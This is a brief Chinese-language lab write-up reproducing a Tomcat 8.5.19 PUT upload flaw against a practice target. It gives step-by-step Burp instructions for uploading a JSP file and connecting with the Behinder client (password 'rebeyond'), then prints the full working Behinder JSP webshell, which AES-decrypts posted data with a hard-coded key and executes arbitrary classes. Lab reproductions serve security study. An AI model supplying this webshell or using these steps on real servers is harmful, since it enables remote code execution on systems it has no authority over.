复现过程
靶场版本:Tomcat 8.5.19
1. 打开burp,访问目标网站。
这时,burp成功抓到数据包。
可以看到,这是一个GET请求,并且没有数据。我们需要的是PUT请求。
2. 右键,Repeater。修改传类型为 PUT ,生成的文件名为 test-001.jsp 。接着将 jsp 的一句话木马写入数据块中,放包。Response 返回 201(文件创建成功)。
3. 上冰蝎,直接连接,密码为 rebeyond 。
OK,连接成功
附上 jsp 一句话木马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>